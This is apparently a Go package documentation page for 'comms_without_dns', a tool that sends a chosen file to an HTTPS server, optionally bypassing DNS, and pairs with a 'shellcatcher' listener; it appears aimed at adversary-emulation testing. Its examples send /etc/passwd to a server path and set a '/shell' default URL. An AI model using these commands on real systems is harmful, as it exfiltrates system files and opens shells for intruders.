comms_without_dns

command
v0.0.0-...-60b6bad Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Sep 12, 2024 License: BSD-3-Clause Imports: 11 Imported by: 0

README

Comms Without DNS

Nearly the same as comms_over_https but can skip doing DNS resolution by passing the server's IP addres and port via an environment variable, ALPT4ATS_REAL_ADDRESS, by default.

A crude shell-catcher may be found in the letsencryptshellcatcher directory. Run it with -https /somepath, and put the same /somepath in the server URL.

File Descriptor

The address and file as whitespace-separated words from file descriptor 7, and override the environment variables. If only one word is read, it is taken to be the address.

Examples

Set the address and file via a heredoc:

./comms_without_dns 7<<_eof
https://localhost:5555/somepath /etc/passwd
_eof

Set just the address via bash's Here String:

./bin/comms_without_dns 7<<<"https://localhost:5555/somepath"

Environment Variables

The URL and file may be set with environment variables, overriding compile-time settings, as follows

Default Variable Description
ALPT4ATS_ADDRESS HTTPS Server URL
ALPT4ATS_FILE File to send on the HTTPS connection
ALPT4ATS_REAL_ADDRESS Optional HTTPS Server IP:Port

The variable names may be changed at compile-time, as below.

Compile-time Config

Compile time configuration is possible with the linker's -X (as in go build -ldflags '-X main.Foo=bar'). The variables are as follows

Variable Default Description
main.Address https://localhost:4444/shell HTTPS Server URL
main.AddressEnvVar ALPT4ATS_ADDRESS Environment variable which sets the HTTPS Server URL
main.File /etc/hosts File to send on the HTTPS connection
main.FileEnvVar ALPT4ATS_FILE Environment variable which sets the File to send on the HTTPS connection
main.RealAddressEnvVar ALPT4ATS_REAL_ADDRESS Environment variable which sets the server's real IP address and port

When building with the Makefile these may be passed in with the LINKFLAGS environment variable, as in

LINKFLAGS="-X main.Address=https://example.com:8080/notshell" make

Documentation

Overview

Program comms_without_dns - coms_over_https but without a DNS lookup

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL